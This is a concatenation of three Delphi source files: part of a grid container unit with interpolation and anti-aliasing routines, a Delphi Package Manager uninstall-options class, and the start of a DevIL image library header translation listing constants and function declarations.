procedure TGridBasic.MapIDToXY(const id: integer; var x, y: integer);
begin
x := id mod CountX;
y := id div CountX;
end;
procedure TGridBasic.Delete(const x, y: integer);
begin
Items[x,y] := nil;
end;
procedure TGridBasic.FreeItems;
var
i : integer;
begin
for i := 0 to FTotalSize-1 do
begin
if Assigned(FStorage^[i]) then
begin
TObject(FStorage^[i]).Free;
FStorage^[i] := nil;
end;
end;
end;
function TGridBasic.ItemsSet: integer;
var
i : integer;
begin
result := 0;
for i := 0 to FTotalSize-1 do
if Assigned(FStorage^[i]) then
inc(result);
end;
destructor TGridBasic.Destroy;
begin
FreeStorage;
inherited;
end;
procedure TGridBasic.SetOwnItems(const Value: boolean);
begin
FOwnItems := Value;
end;
function TGridBasic.InRange(const x, y: integer): boolean;
begin
result := (x>=0) and (y>=0) and (x<CountX) and (y<CountY);
end;
function TGridBasic.GetSafeItems(const x, y: integer): TObject;
begin
if InRange(x,y) then
result := GetItems(x,y)
else
result := nil;
end;
procedure TGridBasic.Clear;
var
i : integer;
begin
for i := 0 to FTotalSize-1 do
begin
if Assigned(FStorage^[i]) then
begin
if OwnItems then
TObject(FStorage^[i]).Free;
FStorage^[i] := nil;
end;
end;
end;
procedure TGridBasic.CopyFrom(Grid: TGridBasic);
var
i : integer;
begin
Assert((CountX=Grid.CountX) and (CountY=Grid.CountY),'Grids must be of the same dimensions!');
for i := 0 to TotalSize-1 do
FStorage^[i] := Grid.FStorage^[i];
end;
{ TGrid }
function TGrid.IndexOf(const Item: TObject): integer;
var
i : integer;
begin
for i := 0 to TotalSize-1 do
if FStorage^[i]=Item then
begin
result := i;
exit;
end;
result := -1;
end;
function TGrid.LocationOf(const Item: TObject; var x, y: integer): boolean;
var
i : integer;
begin
i := IndexOf(Item);
result := false;//ilh
if i = -1 then
result := false
else
MapIDToXY(i, x,y);
end;
{ TSingleGrid }
procedure TSingleGrid.AntiAlias(BleedValue : single);
var
SingleGrid : TSingleGrid;
x, y, gx, gy : integer;
ValueSum : single;
PartSum : single;
begin
SingleGrid := TSingleGrid.Create(FCountX, FCountY);
try
// SingleGrid := TSingleGrid.Create(FCountX, FCountY);
for x := 0 to FCountX-1 do
for y := 0 to FCountY-1 do
begin
PartSum := 1;
ValueSum := Items[x,y];
for gx := x-1 to x+1 do
for gy := y-1 to y+1 do
begin
if InRange(gx, gy) then
begin
ValueSum := ValueSum + BleedValue * Items[gx, gy];
PartSum := PartSum + BleedValue;
end;
end;
// Average the ValueSum over the parts added
SingleGrid[x,y] := ValueSum / PartSum;
end;
// Copy the info to this grid
for x := 0 to FCountX-1 do
for y := 0 to FCountY-1 do
Items[x,y] := SingleGrid[x,y];//}
finally
SingleGrid.Free;
end;
end;
procedure TSingleGrid.Clear;
begin
// These two are the same in a singlegrid
FreeItems;
end;
procedure TSingleGrid.FreeItems;
var
i : integer;
f : single;
begin
// They're all singles, so set them to zero
f := 0;
for i := 0 to FTotalSize-1 do
FStorage^[i] := TObject(f);
end;
function TSingleGrid.InterpolateCos(a, b, x: single): single;
var
ft,f : single;
begin
ft := x * Pi;
f := (1-cos(ft))*0.5;
result := a*(1-f)+b*f;
end;
function TSingleGrid.InterpolateLinear(a, b, x: single): single;
begin
result := a*(1-x)+b*x;
end;
function TSingleGrid.InterpolationCubic(v0, v1, v2, v3, x: single): single;
var
P, Q, R, S : single;
begin
P := (v3 - v2) - (v0 - v1);
Q := (v0 - v1) - P;
R := v2 - v0;
S := v1;
result := P*x*x*x + Q*x*x + R*x + S;
end;
function TSingleGrid.GetInterpolatedItems(const x, y: single;
InterpolationMethod: TInterpolationMethod): single;
var
intX, intY : integer;
fractX, fractY : single;
v1, v2, v3, v4, i1, i2 : single;
begin
result :=0;//ilh
intX := trunc(x); fractX := x-intX;
intY := trunc(y); fractY := y-intY;
v1 := SafeItems[intX, intY];
v2 := SafeItems[intX+1, intY];
v3 := SafeItems[intX, intY+1];
v4 := SafeItems[intX+1, intY+1];
if InterpolationMethod = imCos then
begin
i1 := InterpolateCos(v1, v2, fractX);
i2 := InterpolateCos(v3, v4, fractX);
result := InterpolateCos(i1, i2, fractY);
end else
if InterpolationMethod = imLinear then
begin
i1 := InterpolateLinear(v1, v2, fractX);
i2 := InterpolateLinear(v3, v4, fractX);
result := InterpolateLinear(i1, i2, fractY);
end else
Assert(false,'Interpolation method not supported!');
end;
function TSingleGrid.GetInterpolatedCosItems(const x, y: single): single;
begin
result := GetInterpolatedItems(x,y,imCos);
end;
function TSingleGrid.GetInterpolatedLinearItems(const x,
y: single): single;
begin
result := GetInterpolatedItems(x,y,imLinear);
end;
function TSingleGrid.GetSingleItems(const x, y: integer): single;
begin
result := single(GetItems(x,y));
end;
function TSingleGrid.GetSingleItemsSafe(const x, y: integer): single;
begin
if InRange(x,y) then
result := GetSingleItems(x,y)
else
result := 0;
end;
function TSingleGrid.GetStorage: PSingleList;
begin
result := PSingleList(FStorage);
end;
procedure TSingleGrid.SetOwnItems(const Value: boolean);
begin
//inherited;
// Can't own singles, since we can't free them!
FOwnItems := false;
end;
procedure TSingleGrid.SetSingleItems(const x, y: integer;
const Value: single);
begin
SetItems(x,y, TObject(Value));
end;
procedure TSingleGrid.AntiAliasSweep;
begin
AntiAliasSweepRight;
AntiAliasSweepDown;
end;
procedure TSingleGrid.AntiAliasSweepRight;
var
CurrentHeight, TargetHeight : single;
x, y, StripLength, i : integer;
TempGrid : TSingleGrid;
begin
TempGrid := TSingleGrid.Create(FCountX, FCountY);
TargetHeight :=1;//ilh
try
for y := 0 to CountY-1 do
begin
x := 0;
while x<CountX do
begin
// Find the strips of identical values
// interpolate them from this value to the last one
CurrentHeight := Items[x,y];
// Copy this height without alteration
TempGrid[x,y] := CurrentHeight;
StripLength := 1;
while x+StripLength<CountX do
begin
TargetHeight := Items[x+StripLength,y];
if TargetHeight<>CurrentHeight then
break;
inc(StripLength);
end;
for i := 0 to StripLength - 1 do
TempGrid[x+i,y] := InterpolateLinear(CurrentHeight, TargetHeight, i/StripLength);
x := x + StripLength;
end;
end;
CopyFrom(TempGrid);
finally
TempGrid.Free;
end;
end;
procedure TSingleGrid.AntiAliasSweepDown;
var
CurrentHeight, TargetHeight : single;
x, y, StripLength, i : integer;
TempGrid : TSingleGrid;
begin
TempGrid := TSingleGrid.Create(FCountX, FCountY);
TargetHeight :=1;//ilh
try
for x := 0 to CountX-1 do
begin
y := 0;
while y<CountY do
begin
// Find the strips of identical values
// interpolate them from this value to the last one
CurrentHeight := Items[x,y];
// Copy this height without alteration
TempGrid[x,y] := CurrentHeight;
StripLength := 1;
while y+StripLength<CountY do
begin
TargetHeight := Items[x,y+StripLength];
if TargetHeight<>CurrentHeight then
break;
inc(StripLength);
end;
for i := 0 to StripLength - 1 do
TempGrid[x,y+i] := InterpolateLinear(CurrentHeight, TargetHeight, i/StripLength);
y := y + StripLength;
end;
end;
CopyFrom(TempGrid);
finally
TempGrid.Free;
end;
end;
end.
|
{***************************************************************************}
{ }
{ Delphi Package Manager - DPM }
{ }
{ Copyright © 2019 Vincent Parrett and contributors }
{ }
{ vincent@finalbuilder.com }
{ https://www.finalbuilder.com }
{ }
{ }
{***************************************************************************}
{ }
{ Licensed under the Apache License, Version 2.0 (the "License"); }
{ you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at }
{ }
{ http://www.apache.org/licenses/LICENSE-2.0 }
{ }
{ Unless required by applicable law or agreed to in writing, software }
{ distributed under the License is distributed on an "AS IS" BASIS, }
{ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. }
{ See the License for the specific language governing permissions and }
{ limitations under the License. }
{ }
{***************************************************************************}
unit DPM.Core.Options.UnInstall;
interface
uses
DPM.Core.Types,
DPM.Core.Logging,
DPM.Core.Options.Search;
type
TUninstallOptions = class(TSearchOptions)
private
FProjectPath : string;
FProjects : TArray<string>;
class var
FDefault : TUninstallOptions;
protected
function GetPackageId : string;
procedure SetPackageId(const Value : string);
constructor CreateClone(const original : TUninstallOptions); reintroduce;
public
class constructor CreateDefault;
class property Default : TUninstallOptions read FDefault;
constructor Create; override;
function Validate(const logger : ILogger) : Boolean; override;
function Clone : TUninstallOptions; reintroduce;
property PackageId : string read GetPackageId write SetPackageId;
property ProjectPath : string read FProjectPath write FProjectPath;
property Projects : TArray<string> read FProjects write FProjects;
end;
implementation
{ TRemoveOptions }
function TUninstallOptions.Clone : TUninstallOptions;
begin
result := TUninstallOptions.CreateClone(self);
end;
constructor TUninstallOptions.Create;
begin
inherited;
end;
constructor TUninstallOptions.CreateClone(const original : TUninstallOptions);
begin
inherited CreateClone(original);
FProjectPath := original.FProjectPath;
end;
class constructor TUninstallOptions.CreateDefault;
begin
FDefault := TUninstallOptions.Create;
end;
function TUninstallOptions.GetPackageId : string;
begin
result := SearchTerms;
end;
procedure TUninstallOptions.SetPackageId(const Value : string);
begin
SearchTerms := value;
end;
function TUninstallOptions.Validate(const logger : ILogger) : Boolean;
begin
//must call inherited
result := inherited Validate(logger);
if (FProjectPath = '') and (Length(FProjects) = 0) then
begin
Logger.Error('Project path cannot be empty, must either be a directory or project file.');
result := false;
end;
if PackageId = '' then
begin
Logger.Error('The <packageId> option must be specified.');
result := false;
end;
if ConfigFile = '' then
begin
Logger.Error('No configuration file specified');
exit;
end;
end;
end.
|
//-----------------------------------------------------------------------------
//
// ImageLib Sources
// Copyright (C) 2000-2017 by Denton Woods
// Last modified: 03/07/2009
//
// Filename: IL/il.h
//
// Description: The main include file for DevIL
//
//-----------------------------------------------------------------------------
// Doxygen comment
(*! \file il.h
The main include file for DevIL
*)
unit il;
{$INCLUDE '.\devil_defs.inc'}
interface
uses
SysUtils,
AuxTypes;
//this define controls if floats and doubles are clamped to [0..1]
//during conversion. It takes a little more time, but it is the correct
//way of doing this. If you are sure your floats are always valid,
//you can undefine this value...
const
CLAMP_HALF = 1;
CLAMP_FLOATS = 1;
CLAMP_DOUBLES = 1;
type
ILenum = UInt32; ILenum_p = ^ILenum;
ILboolean = UInt8; ILboolean_p = ^ILboolean;
ILbitfield = UInt32; ILbitfield_p = ^ILbitfield;
ILbyte = Int8; PILbyte_p = ^ILbyte;
ILshort = Int16; ILshort_p = ^ILshort;
ILint = Int32; ILint_p = ^ILint;
ILsizei = PtrUInt{size_t}; ILsizei_p = ^ILsizei;
ILubyte = UInt8; ILubyte_p = ^ILubyte;
ILushort = UInt16; ILushort_p = ^ILushort;
ILuint = UInt32; ILuint_p = ^ILuint;
ILfloat = Float32; ILfloat_p = ^ILfloat;
ILclampf = Float32; ILclampf_p = ^ILclampf;
ILdouble = Float64; ILdouble_p = ^ILdouble;
ILclampd = Float64; ILclampd_p = ^ILclampd;
ILint64 = Int64; ILint64_p = ^ILint64;
ILuint64 = UInt64; ILuint64_p = ^ILuint64;
ILchar = AnsiChar; ILchar_p = ^ILchar;
ILstring = PAnsiChar; ILstring_p = ^ILstring;
ILconst_string = PAnsiChar; ILconst_string_p = ^ILconst_string;
const
IL_FALSE = 0;
IL_TRUE = 1;
// Matches OpenGL's right now.
//! Data formats \link Formats Formats\endlink
IL_COLOUR_INDEX = $1900;
IL_COLOR_INDEX = $1900;
IL_ALPHA = $1906;
IL_RGB = $1907;
IL_RGBA = $1908;
IL_BGR = $80E0;
IL_BGRA = $80E1;
IL_LUMINANCE = $1909;
IL_LUMINANCE_ALPHA = $190A;
//! Data types \link Types Types\endlink
IL_BYTE = $1400;
IL_UNSIGNED_BYTE = $1401;
IL_SHORT = $1402;
IL_UNSIGNED_SHORT = $1403;
IL_INT = $1404;
IL_UNSIGNED_INT = $1405;
IL_FLOAT = $1406;
IL_DOUBLE = $140A;
IL_HALF = $140B;
IL_MAX_BYTE = High(Int8);
IL_MAX_UNSIGNED_BYTE = High(UInt8);
IL_MAX_SHORT = High(Int16);
IL_MAX_UNSIGNED_SHORT = High(UInt16);
IL_MAX_INT = High(Int32);
IL_MAX_UNSIGNED_INT = High(UInt32);
Function IL_LIMIT(x,min,max: Integer): Integer; overload;
Function IL_LIMIT(x,min,max: Int64): Int64; overload;
Function IL_LIMIT(x,min,max: Single): Single; overload;
Function IL_LIMIT(x,min,max: Double): Double; overload;
Function IL_CLAMP(x: Single): Single; overload;
Function IL_CLAMP(x: Double): Double; overload;
const
IL_VENDOR = $1F00;
IL_LOAD_EXT = $1F01;
IL_SAVE_EXT = $1F02;
//
// IL-specific #define's
//
IL_VERSION_1_8_0 = 1;
IL_VERSION = 180;
// Attribute Bits
IL_ORIGIN_BIT = $00000001;
IL_FILE_BIT = $00000002;
IL_PAL_BIT = $00000004;
IL_FORMAT_BIT = $00000008;
IL_TYPE_BIT = $00000010;
IL_COMPRESS_BIT = $00000020;
IL_LOADFAIL_BIT = $00000040;
IL_FORMAT_SPECIFIC_BIT = $00000080;
IL_ALL_ATTRIB_BITS = $000FFFFF;
// Palette types
IL_PAL_NONE = $0400;
IL_PAL_RGB24 = $0401;
IL_PAL_RGB32 = $0402;
IL_PAL_RGBA32 = $0403;
IL_PAL_BGR24 = $0404;
IL_PAL_BGR32 = $0405;
IL_PAL_BGRA32 = $0406;
// Image types
IL_TYPE_UNKNOWN = $0000;
IL_BMP = $0420; //!< Microsoft Windows Bitmap - .bmp extension
IL_CUT = $0421; //!< Dr. Halo - .cut extension
IL_DOOM = $0422; //!< DooM walls - no specific extension
IL_DOOM_FLAT = $0423; //!< DooM flats - no specific extension
IL_ICO = $0424; //!< Microsoft Windows Icons and Cursors - .ico and .cur extensions
IL_JPG = $0425; //!< JPEG - .jpg, .jpe and .jpeg extensions
IL_JFIF = $0425; //!<
IL_ILBM = $0426; //!< Amiga IFF (FORM ILBM) - .iff, .ilbm, .lbm extensions
IL_PCD = $0427; //!< Kodak PhotoCD - .pcd extension
IL_PCX = $0428; //!< ZSoft PCX - .pcx extension
IL_PIC = $0429; //!< PIC - .pic extension
IL_PNG = $042A; //!< Portable Network Graphics - .png extension
IL_PNM = $042B; //!< Portable Any Map - .pbm, .pgm, .ppm and .pnm extensions
IL_SGI = $042C; //!< Silicon Graphics - .sgi, .bw, .rgb and .rgba extensions
IL_TGA = $042D; //!< TrueVision Targa File - .tga, .vda, .icb and .vst extensions
IL_TIF = $042E; //!< Tagged Image File Format - .tif and .tiff extensions
IL_CHEAD = $042F; //!< C-Style Header - .h extension
IL_RAW = $0430; //!< Raw Image Data - any extension
IL_MDL = $0431; //!< Half-Life Model Texture - .mdl extension
IL_WAL = $0432; //!< Quake 2 Texture - .wal extension
IL_LIF = $0434; //!< Homeworld Texture - .lif extension
IL_MNG = $0435; //!< Multiple-image Network Graphics - .mng extension
IL_JNG = $0435; //!<
IL_GIF = $0436; //!< Graphics Interchange Format - .gif extension
IL_DDS = $0437; //!< DirectDraw Surface - .dds extension
IL_DCX = $0438; //!< ZSoft Multi-PCX - .dcx extension
IL_PSD = $0439; //!< Adobe PhotoShop - .psd extension
IL_EXIF = $043A; //!<
IL_PSP = $043B; //!< PaintShop Pro - .psp extension
IL_PIX = $043C; //!< PIX - .pix extension
IL_PXR = $043D; //!< Pixar - .pxr extension
IL_XPM = $043E; //!< X Pixel Map - .xpm extension
IL_HDR = $043F; //!< Radiance High Dynamic Range - .hdr extension
IL_ICNS = $0440; //!< Macintosh Icon - .icns extension
IL_JP2 = $0441; //!< Jpeg 2000 - .jp2 extension
IL_EXR = $0442; //!< OpenEXR - .exr extension
IL_WDP = $0443; //!< Microsoft HD Photo - .wdp and .hdp extension
IL_VTF = $0444; //!< Valve Texture Format - .vtf extension
IL_WBMP = $0445; //!< Wireless Bitmap - .wbmp extension
IL_SUN = $0446; //!< Sun Raster - .sun, .ras, .rs, .im1, .im8, .im24 and .im32 extensions
IL_IFF = $0447; //!< Interchange File Format - .iff extension
IL_TPL = $0448; //!< Gamecube Texture - .tpl extension
IL_FITS = $0449; //!< Flexible Image Transport System - .fit and .fits extensions
IL_DICOM = $044A; //!< Digital Imaging and Communications in Medicine (DICOM) - .dcm and .dicom extensions
IL_IWI = $044B; //!< Call of Duty Infinity Ward Image - .iwi extension
IL_BLP = $044C; //!< Blizzard Texture Format - .blp extension
IL_FTX = $044D; //!< Heavy Metal: FAKK2 Texture - .ftx extension
IL_ROT = $044E; //!< Homeworld 2 - Relic Texture - .rot extension
IL_TEXTURE = $044F; //!< Medieval II: Total War Texture - .texture extension
IL_DPX = $0450; //!< Digital Picture Exchange - .dpx extension
IL_UTX = $0451; //!< Unreal (and Unreal Tournament) Texture - .utx extension
IL_MP3 = $0452; //!< MPEG-1 Audio Layer 3 - .mp3 extension
IL_KTX = $0453; //!< Khronos Texture - .ktx extension
IL_JASC_PAL = $0475; //!< PaintShop Pro Palette
// Error Types
IL_NO_ERROR = $0000;
IL_INVALID_ENUM = $0501;
IL_OUT_OF_MEMORY = $0502;
IL_FORMAT_NOT_SUPPORTED = $0503;
IL_INTERNAL_ERROR = $0504;
IL_INVALID_VALUE = $0505;
IL_ILLEGAL_OPERATION = $0506;
IL_ILLEGAL_FILE_VALUE = $0507;
IL_INVALID_FILE_HEADER = $0508;
IL_INVALID_PARAM = $0509;
IL_COULD_NOT_OPEN_FILE = $050A;
IL_INVALID_EXTENSION = $050B;
IL_FILE_ALREADY_EXISTS = $050C;
IL_OUT_FORMAT_SAME = $050D;
IL_STACK_OVERFLOW = $050E;
IL_STACK_UNDERFLOW = $050F;
IL_INVALID_CONVERSION = $0510;
IL_BAD_DIMENSIONS = $0511;
IL_FILE_READ_ERROR = $0512; // 05/12/2002: Addition by Sam.
IL_FILE_WRITE_ERROR = $0512;
IL_LIB_GIF_ERROR = $05E1;
IL_LIB_JPEG_ERROR = $05E2;
IL_LIB_PNG_ERROR = $05E3;
IL_LIB_TIFF_ERROR = $05E4;
IL_LIB_MNG_ERROR = $05E5;
IL_LIB_JP2_ERROR = $05E6;
IL_LIB_EXR_ERROR = $05E7;
IL_UNKNOWN_ERROR = $05FF;
// Origin Definitions
IL_ORIGIN_SET = $0600;
IL_ORIGIN_LOWER_LEFT = $0601;
IL_ORIGIN_UPPER_LEFT = $0602;
IL_ORIGIN_MODE = $0603;
// Format and Type Mode Definitions
IL_FORMAT_SET = $0610;
IL_FORMAT_MODE = $0611;
IL_TYPE_SET = $0612;
IL_TYPE_MODE = $0613;
// File definitions
IL_FILE_OVERWRITE = $0620;
IL_FILE_MODE = $0621;
// Palette definitions
IL_CONV_PAL = $0630;
// Load fail definitions
IL_DEFAULT_ON_FAIL = $0632;
// Key colour and alpha definitions
IL_USE_KEY_COLOUR = $0635;
IL_USE_KEY_COLOR = $0635;
IL_BLIT_BLEND = $0636;
// Interlace definitions
IL_SAVE_INTERLACED = $0639;
IL_INTERLACE_MODE = $063A;
// Quantization definitions
IL_QUANTIZATION_MODE = $0640;
IL_WU_QUANT = $0641;
IL_NEU_QUANT = $0642;
IL_NEU_QUANT_SAMPLE = $0643;
IL_MAX_QUANT_INDEXS = $0644; //XIX : ILint : Maximum number of colors to reduce to, default of 256. and has a range of 2-256
IL_MAX_QUANT_INDICES = $0644; // Redefined, since the above is misspelled
// Hints
IL_FASTEST = $0660;
IL_LESS_MEM = $0661;
IL_DONT_CARE = $0662;
IL_MEM_SPEED_HINT = $0665;
IL_USE_COMPRESSION = $0666;
IL_NO_COMPRESSION = $0667;
IL_COMPRESSION_HINT = $0668;
// Compression
IL_NVIDIA_COMPRESS = $0670;
IL_SQUISH_COMPRESS = $0671;
// Subimage types
IL_SUB_NEXT = $0680;
IL_SUB_MIPMAP = $0681;
IL_SUB_LAYER = $0682;
// Compression definitions
IL_COMPRESS_MODE = $0700;
IL_COMPRESS_NONE = $0701;
IL_COMPRESS_RLE = $0702;
IL_COMPRESS_LZO = $0703;
IL_COMPRESS_ZLIB = $0704;
// File format-specific values
IL_TGA_CREATE_STAMP = $0710;
IL_JPG_QUALITY = $0711;
IL_PNG_INTERLACE = $0712;
IL_TGA_RLE = $0713;
IL_BMP_RLE = $0714;
IL_SGI_RLE = $0715;
IL_TGA_ID_STRING = $0717;
IL_TGA_AUTHNAME_STRING = $0718;
IL_TGA_AUTHCOMMENT_STRING = $0719;
IL_PNG_AUTHNAME_STRING = $071A;
IL_PNG_TITLE_STRING = $071B;
IL_PNG_DESCRIPTION_STRING = $071C;
IL_TIF_DESCRIPTION_STRING = $071D;
IL_TIF_HOSTCOMPUTER_STRING = $071E;
IL_TIF_DOCUMENTNAME_STRING = $071F;
IL_TIF_AUTHNAME_STRING = $0720;
IL_JPG_SAVE_FORMAT = $0721;
IL_CHEAD_HEADER_STRING = $0722;
IL_PCD_PICNUM = $0723;
IL_PNG_ALPHA_INDEX = $0724; // currently has no effect!
IL_JPG_PROGRESSIVE = $0725;
IL_VTF_COMP = $0726;
// DXTC definitions
IL_DXTC_FORMAT = $0705;
IL_DXT1 = $0706;
IL_DXT2 = $0707;
IL_DXT3 = $0708;
IL_DXT4 = $0709;
IL_DXT5 = $070A;
IL_DXT_NO_COMP = $070B;
IL_KEEP_DXTC_DATA = $070C;
IL_DXTC_DATA_FORMAT = $070D;
IL_3DC = $070E;
IL_RXGB = $070F;
IL_ATI1N = $0710;
IL_DXT1A = $0711; // Normally the same as IL_DXT1, except for nVidia Texture Tools.
// Environment map definitions
IL_CUBEMAP_POSITIVEX = $00000400;
IL_CUBEMAP_NEGATIVEX = $00000800;
IL_CUBEMAP_POSITIVEY = $00001000;
IL_CUBEMAP_NEGATIVEY = $00002000;
IL_CUBEMAP_POSITIVEZ = $00004000;
IL_CUBEMAP_NEGATIVEZ = $00008000;
IL_SPHEREMAP = $00010000;
// Values
IL_VERSION_NUM = $0DE2;
IL_IMAGE_WIDTH = $0DE4;
IL_IMAGE_HEIGHT = $0DE5;
IL_IMAGE_DEPTH = $0DE6;
IL_IMAGE_SIZE_OF_DATA = $0DE7;
IL_IMAGE_BPP = $0DE8;
IL_IMAGE_BYTES_PER_PIXEL = $0DE8;
IL_IMAGE_BITS_PER_PIXEL = $0DE9;
IL_IMAGE_FORMAT = $0DEA;
IL_IMAGE_TYPE = $0DEB;
IL_PALETTE_TYPE = $0DEC;
IL_PALETTE_SIZE = $0DED;
IL_PALETTE_BPP = $0DEE;
IL_PALETTE_NUM_COLS = $0DEF;
IL_PALETTE_BASE_TYPE = $0DF0;
IL_NUM_FACES = $0DE1;
IL_NUM_IMAGES = $0DF1;
IL_NUM_MIPMAPS = $0DF2;
IL_NUM_LAYERS = $0DF3;
IL_ACTIVE_IMAGE = $0DF4;
IL_ACTIVE_MIPMAP = $0DF5;
IL_ACTIVE_LAYER = $0DF6;
IL_ACTIVE_FACE = $0E00;
IL_CUR_IMAGE = $0DF7;
IL_IMAGE_DURATION = $0DF8;
IL_IMAGE_PLANESIZE = $0DF9;
IL_IMAGE_BPC = $0DFA;
IL_IMAGE_OFFX = $0DFB;
IL_IMAGE_OFFY = $0DFC;
IL_IMAGE_CUBEFLAGS = $0DFD;
IL_IMAGE_ORIGIN = $0DFE;
IL_IMAGE_CHANNELS = $0DFF;
IL_SEEK_SET = 0;
IL_SEEK_CUR = 1;
IL_SEEK_END = 2;
IL_EOF = -1;
type
ILHANDLE = Pointer;
// Callback functions for file reading
fCloseRProc = procedure(H: ILHANDLE); stdcall;
fEofProc = Function(H: ILHANDLE): ILboolean; stdcall;
fGetcProc = Function(H: ILHANDLE): ILint; stdcall;
fOpenRProc = Function(S: ILconst_string): ILHANDLE; stdcall;
fReadProc = Function(P: Pointer; A,B: ILuint; H: ILHANDLE): ILint; stdcall;
fSeekRProc = Function(H: ILHANDLE; A,B: ILuint): ILint; stdcall;
fTellRProc = Function(H: ILHANDLE): ILint; stdcall;
// Callback functions for file writing
fCloseWProc = procedure(H: ILHANDLE); stdcall;
fOpenWProc = Function(S: ILconst_string): ILHANDLE; stdcall;
fPutcProc = Function(B: ILubyte; H: ILHANDLE): ILint; stdcall;
fSeekWProc = Function(H: ILHANDLE; A,B: ILint): ILint; stdcall;
fTellWProc = Function(H: ILHANDLE): ILint; stdcall;
fWriteProc = Function(P: Pointer; A,B: ILuint; H: ILHANDLE): ILint; stdcall;
// Callback functions for allocation and deallocation
mAlloc = Function(Size: ILsizei): Pointer; stdcall;
mFree = procedure(Ptr: Pointer); stdcall;
// Registered format procedures
IL_LOADPROC = Function(x: ILconst_string): ILenum; stdcall;
IL_SAVEPROC = Function(x: ILconst_string): ILenum; stdcall;
// ImageLib Functions
var
ilActiveFace: Function(Number: ILuint): ILboolean; stdcall;
ilActiveImage: Function(Number: ILuint): ILboolean; stdcall;
ilActiveLayer: Function(Number: ILuint): ILboolean; stdcall;
ilActiveMipmap: Function(Number: ILuint): ILboolean; stdcall;
ilApplyPal: Function(FileName: ILconst_string): ILboolean; stdcall;
ilApplyProfile: Function(InProfile, OutProfile: ILstring): ILboolean; stdcall;
ilBindImage: procedure(Image: ILuint); stdcall;
ilBlit: Function(Source: ILuint; DestX,DestY,DestZ: ILint; SrcX,SrcY,SrcZ: ILuint; Width,Height,Depth: ILuint): ILboolean; stdcall;
ilClampNTSC: Function: ILboolean; stdcall;
ilClearColour: procedure(Red,Green,Blue,Alpha: ILclampf); stdcall;
ilClearImage: Function: ILboolean; stdcall;
ilCloneCurImage: Function: ILuint; stdcall;
ilCompressDXT: Function(Data: ILubyte_p; Width,Height,Depth: ILuint; DXTCFormat: ILenum; DXTCSize: ILuint_p): ILubyte_p; stdcall;
ilCompressFunc: Function(Mode: ILenum): ILboolean; stdcall;
ilConvertImage: Function(DestFormat: ILenum; DestType: ILenum): ILboolean; stdcall;
ilConvertPal: Function(DestFormat: ILenum): ILboolean; stdcall;
ilCopyImage: Function(Src: ILuint): ILboolean; stdcall;
ilCopyPixels: Function(XOff,YOff,ZOff: ILuint; Width,Height,Depth: ILuint; Format: ILenum; _Type: ILenum; Data: Pointer): ILuint; stdcall;
ilCreateSubImage: Function(_Type: ILenum; Num: ILuint): ILuint; stdcall;
ilDefaultImage: Function: ILboolean; stdcall;
ilDeleteImage: procedure(Num: ILuint); stdcall;
ilDeleteImages: procedure(Num: ILsizei; Images: ILuint_p); stdcall;
ilDetermineType: Function(FileName: ILconst_string): ILenum; stdcall;
ilDetermineTypeF: Function(_File: ILHANDLE): ILenum; stdcall;
ilDetermineTypeL: Function(Lump: Pointer; Size: ILuint): ILenum; stdcall;
ilDisable: Function(Mode: ILenum): ILboolean; stdcall;
ilDxtcDataToImage: Function: ILboolean; stdcall;
ilDxtcDataToSurface: Function: ILboolean; stdcall;
ilEnable: Function(Mode: ILenum): ILboolean; stdcall;
ilFlipSurfaceDxtcData: procedure; stdcall;
ilFormatFunc: Function(Mode: ILenum): ILboolean; stdcall;
ilGenImages: procedure(Num: ILsizei; Images: ILuint_p); stdcall;
ilGenImage: Function: ILuint; stdcall;
ilGetAlpha: Function(_Type: ILenum): ILubyte_p; stdcall;
ilGetBoolean: Function(Mode: ILenum): ILboolean; stdcall;
ilGetBooleanv: procedure(Mode: ILenum; Param: ILboolean_p); stdcall;
ilGetData: Function: ILubyte_p; stdcall;
ilGetDXTCData: Function(Buffer: Pointer; BufferSize: ILuint; DXTCFormat: ILenum): ILuint; stdcall;
ilGetError: Function: ILenum; stdcall;
ilGetInteger: Function(Mode: ILenum): ILint; stdcall;
ilGetIntegerv: procedure(Mode: ILenum; Param: ILint_p); stdcall;
ilGetLumpPos: Function: ILuint; stdcall;
ilGetPalette: Function: ILubyte_p; stdcall;
ilGetString: Function(StringName: ILenum): ILconst_string; stdcall;
ilHint: procedure(Target: ILenum; Mode: ILenum); stdcall;
ilInvertSurfaceDxtcDataAlpha: Function: ILboolean; stdcall;
ilInit: procedure; stdcall;
ilImageToDxtcData: Function(Format: ILenum): ILboolean; stdcall;
ilIsDisabled: Function(Mode: ILenum): ILboolean; stdcall;
ilIsEnabled: Function(Mode: ILenum): ILboolean; stdcall;
ilIsImage: Function(Image: ILuint): ILboolean; stdcall;
ilIsValid: Function(_Type: ILenum; FileName: ILconst_string): ILboolean; stdcall;
ilIsValidF: Function(_Type: ILenum; _File: ILHANDLE): ILboolean; stdcall;
ilIsValidL: Function(_Type: ILenum; Lump: Pointer; Size: ILuint): ILboolean; stdcall;
ilKeyColour: procedure(Red,Green,Blue,Alpha: ILclampf); stdcall;
ilLoad: Function(_Type: ILenum; FileName: ILconst_string): ILboolean; stdcall;
ilLoadF: Function(_Type: ILenum; _File: ILHANDLE): ILboolean; stdcall;
ilLoadImage: Function(FileName: ILconst_string): ILboolean; stdcall;
ilLoadL: Function(_Type: ILenum; Lump: Pointer; Size: ILuint): ILboolean; stdcall;
ilLoadPal: Function(FileName: ILconst_string): ILboolean; stdcall;
ilModAlpha: procedure(AlphaValue: ILdouble); stdcall;
ilOriginFunc: Function(Mode: ILenum): ILboolean; stdcall;
ilOverlayImage: Function(Source: ILuint; XCoord,YCoord,ZCoord: ILint): ILboolean; stdcall;
ilPopAttrib: procedure; stdcall;
ilPushAttrib: procedure(Bits: ILuint); stdcall;
ilRegisterFormat: procedure(Format: ILenum); stdcall;
ilRegisterLoad: Function(Ext: ILconst_string; Load: IL_LOADPROC): ILboolean; stdcall;
ilRegisterMipNum: Function(Num: ILuint): ILboolean; stdcall;
ilRegisterNumFaces: Function(Num: ILuint): ILboolean; stdcall;
ilRegisterNumImages: Function(Num: ILuint): ILboolean; stdcall;
ilRegisterOrigin: procedure(Origin: ILenum); stdcall;
ilRegisterPal: procedure(Pal: Pointer; Size: ILuint; _Type: ILenum); stdcall;
ilRegisterSave: Function(Ext: ILconst_string; Save: IL_SAVEPROC): ILboolean; stdcall;
ilRegisterType: procedure(_Type: ILenum); stdcall;
ilRemoveLoad: Function(Ext: ILconst_string): ILboolean; stdcall;
ilRemoveSave: Function(Ext: ILconst_string): ILboolean; stdcall;
ilResetMemory: procedure; stdcall; // Deprecated
